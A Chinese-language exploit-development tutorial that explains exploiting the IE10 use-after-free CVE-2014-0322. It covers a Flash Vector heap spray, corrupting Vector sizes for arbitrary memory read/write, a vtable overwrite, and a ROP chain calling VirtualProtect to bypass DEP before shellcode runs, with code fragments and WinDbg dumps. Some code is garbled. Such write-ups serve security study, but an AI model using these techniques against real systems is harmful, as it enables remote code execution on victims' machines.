Author:Netfairy
0x00 前言
什么是inc-by-one?比如有这样的一条指令:inc dword ptr[eax+8],这条指令执行的效果是使eax+8地址处的值加1,类似于c语言*(eax+8) = *(eax+8) +1,如果我们可以控制eax的值,那么这就是一个inc-by-one漏洞。
0x01 利用方法
1.布置堆内存
这里我以CVE-2014-0322为例子介绍,网上已有相关的漏洞原理介绍,本文介绍这种类型的漏洞利用方法,这是一个存在于ie10的uaf漏洞,尽管这个漏洞本身存在于IE 里面,但是为了实现成功利用,借用了flash作为辅助,来突破各种防护。打开poc,结果如下
要利用这个漏洞,首先我们利用ActionScript在堆上分配大量的Vector.uint,长度是0x3fe,因为每个Vector.uint有8字节BlockHeader,其中前4个字节是size字段。0x3fe*4+8=0x1000,所以每个Vector.uint之间紧邻,不会留下空隙。
#!cppthis.s = newVector.Object(0x10000); while ( len 0x10000 ){ this.s[len]= new Vector.uint(0x1000 / 4 - 2); //0x3fe for(i=0; i this.s[len].length; i++) { this.s[len][i]= 0x1a1a1a1a; } ++len;}
HeapSpray之后内存分布图
0x1a1b2000是其中一个Vector.uint,我把它命名为v1,0x1a1b3000为v2,以此类推。0x3fe是Vector.uint的大小。。
2.触发inc-by-one漏洞,修改size,读写整个地址空间
通过ie的触发uaf漏洞,重新分配内存占据已经被释放的对象,我们可以控制inc-by-one的目标地址,本文我们对0x1a1b2000处的v1的size字段加1,结果如下
V1的size被修改为0x3ff后,那么通过v1可以往后多访问四个字节(uint),刚好能访问到v2的size字段,也就是说v2的size字段可以被v1访问并修改,那么,如果我们把v2的size字段修改为一个很大的值,通过v2,我们就能读写整个进程地址空间。
#!cppwhile (v1 < 0x10000){ try { if (this.s[v1].length == 0x3ff) //v1本来0x3fe,漏洞触发后v1的size被修改为0x3ff { this.s[v1][0x3fe] = 0x3fffffff; //修改v2的size为0x3fffffff break; } } catch(e:Error) { }; v1 = (v1 + 1);};
3.喷射sound对象,便于后面的利用
因为flash是高级语言,我们无法直接操作内存,不能直接控制eip指向,但是高级语言的对象有一个虚表的东西,里面保存着虚函数的地址。如果我们能修改虚表指针指向另外一块可控内存,在这块内存写入我们shellcode的地址,一旦我们调用虚函数,实际上就会调用我们的shellcode。
为此我们用下面的代码布局sound对象
#!cppthis.sound = new Sound;this.spraysound = newVector.Object(0x100);len = 0; while (len 0x100){ this.spraysound[len]= new Vector.Object(0x1234); for(i=0; i this.spraysound[len].length; i++) { this.spraysound[len][i]= this.sound; } ++len;}
喷射结果如下
#!bash22490024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f13024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f18024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f1d024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f22024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f27024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
实际上,22f03021是sound对象地址加1,通过修改sound对象的虚表指针,一旦我们调用test函数,实际上执行的是shellcode。
4.信息搜集
前面我们通过v2得到任意内存读写,在覆盖虚表指针,调用虚函数执行shellcode之前,还需要解决DEP保护。现在ie都启用了DEP保护
要关闭DEP,可以用VirtualProtect。那么,首先需要找到这个函数的地址。VirtualProtect由kernel32.dll导出,正好,flash模块的导入表有kernel32.dll,搜索IAT即可定位VirtualProtect。那么,首先要得到flash模块导入表的地址,那么我们得先知道flash模块的基址。这里我们我们通过flash的一个虚表指针往回暴力搜索pe头定位flash基址。而通过v2我们可以定位到一个虚表指针,总的来说,这个过程如下
Stack_pivot(xchg eax,esp;retn)后面我们会看到它的作用。首先搜索v2
#!cppv2 = 0;for (v2=0; v2 < this.s.length; v2++){ if (this.s[v2].length == 0x3FFFFFFF) //v2的size为0x3ffffff { break; }}
然后搜索一个flash虚表指针
#!cppj=0;while(i这里有必要解释一下,前面我们喷射了sound对象,在22490024-0x24内存如下#!bash22490000 00010c00 00004fe0 0fdf30000fde706822490010 22f03000 22490018 000000100000000022490020 61c0d2d4 00001234 22f0302122f0302122490030 22f03021 22f03021 22f0302122f0302122490040 22f03021 22f03021 22f0302122f0302122490050 22f03021 22f03021 22f0302122f03021Sound对象(22f03021)前面是0x00001234,再前面的0x61c0d2d4是flash一个虚表指针,虚表指针前面有一个标志,就是0x00010c00 通过这个flash虚表指针,暴力搜索flash基址#!cpptemp=vtable & 0xffff0000;while(1){ if (this.s[v2][(temp-0x1a1b3000)/4-2] == 0x00905A4D) //-2因为8个字节的Blockheader { baseflashaddr = temp; break; } temp=temp-0x1000;}得到flash基址后,搜索VirtualProtect和stack_privot地址#!cpp//获取导入表 peindex = this.s[v2][(baseflashaddr+0x3C-0x1a1b3000)/4-2]; importsindex = this.s[v2][(baseflashaddr+peindex+0x80-0x1a1b3000)/4-2]; //得到 VirtualProtect地址vp_addr = getVpAddr; //搜索stack_pivot地址i=0;while(1){ stackpivot = baseflashaddr+0x8a000+i; //从偏移0x8a000开始搜索 try { if ( (readInt(stackpivot)&0x0000ffff) == 0xC394 ) { break; } } catch(e:Error) { }; i++;}5.布置shellcode通过v2,把以上获取到的信息写入某个地址。首先写入stack_privot,执行后esp指向可控内存。然后写入VirtualProtect地址和它的参数,执行后关闭DEP。最后面写入shellcode,DEP关闭后转入shellcode执行。#!cpp//第一阶段shellcode:ROPwriteInt(0x1a1b3078,stackpivot); this.s[v2][0] =vp_addr //VirtualProtect地址this.s[v2][1] =0x1a1b4008 //设置为shellcodee的地址就可以了this.s[v2][2] =0x1a1b4008 //参数一:shellcode所在内存空间起始地址this.s[v2][3] =0x4000 //参数二:shellcode大小this.s[v2][4] =0x40 //参数三:0x40this.s[v2][5] =0x1a1b2008; //参数四:某个可写地址//第二阶段shellcode:任意代码writeInt(0x1a1b4008,0x0089E8FC);writeInt(0x1a1b400c,0x89600000);writeInt(0x1a1b4010,0x64D231E5);……6.修改sound对象虚表指针#!cppvar dec:uint = 0;var soundobjref:uint = 0;while (1){ soundobjref = this.s[v2][soundindex+0x0A]; //VA:sound对象的地址+1 if(writeInt(soundobjref-1,0x1a1b3008) == 1) //修改虚表指针为0x1a1b3008 { break; } else {
flash.external.ExternalInterface.call('alert',"Write vtable pointer failed and exploit falied..."); } break;}前面我们把shellcode布置在0x1a1b3078,这里为什么把虚表指针修改为0x1a1b3008呢?大家看
实际上是call[eax+0x70],eax就是虚表指针。7.调用虚函数,执行shellcode#!cppthis.sound.toString;0x02 动态调试为了模拟真实的攻击情景,搭建web服务器。用windbg附加ie,在Flash32_17_0_0_134!
IAEModule_IAEKernel_UnloadModule+0xdfaa2(是具体情况而定)下断点访问html文件
中断调试器,查看此时的v1,也就是0x1a1b2000
这是未触发漏洞前v1的size,为0x3fe。继续运行ExternalInterface.call(exevl);调用html文件里的exevl函数,此函数触发uaf漏洞
exevl函数执行完返回flash后,再看此时的v1,size字段成功被加1。
继续运行,通过v1修改v2的size字段this.s[v1][0x3fe] = 0x3fffffff; //修改v2'size为0x3fffffff
中断调试器,此时的v2的size字段已经被修改为0x3fffffff,这意味着我们可以访问很大一块内存地址空间
继续运行
中断调试器,用s -d 0x0 l?0x7fffffff 0x00001234搜索喷射的sound对象,前面有一些并不是,后面会比较连续的出现sound对象引用
下面的道理一样,我就不逐一截图了。最后来到这里
flash.external.ExternalInterface.call('alert',startto run calc?);
点击确定之后会调用sound对象的虚函数#!cpp//调用虚函数,触发
shellcodethis.sound.toString;widbg中断
从图中可以看到,程序会跳转到0x6257adf8地址执行,这个地址是#!bash6257adf894xchg eax,esp6257adf9c3ret执行xchgeax,sp后,esp=0x1a1b30008。我们看下0x1a1b3008处#!bash0:016 dd 0x1a1b30081a1b3008 774e2c15 1a1b4008 1a1b4008000040001a1b3018 00000040 1a1b2008 1a1a1a1a1a1a1a1a1a1b3028 1a1a1a1a 1a1a1a1a 1a1a1a1a1a1a1a1a……然后retn相当于jmp 0x774e2c15,即调用VirtualProtect#!cppkernel32!
VirtualProtect:774e2c158bff movedi,edi774e2c1755push ebp774e2c188becmov ebp,esp774e2c1a5dpop ebp774e2c1be9b8f4fbff jmpkernel32!CreateProcessA+0x56 (774a20d8)774e2c20 90nop……0x774e2c15后1a1b4008是VirtualProtect的返回地址,其实就是shellcode的地址
VirtualProtect完成设置shellcode所在内存为可执行,VirtualProtect返回之后调用shellcode完成漏洞利用
0x03 参考CVE-2014-0322 0day Exploit分析Flash Vector漏洞利用的蜕变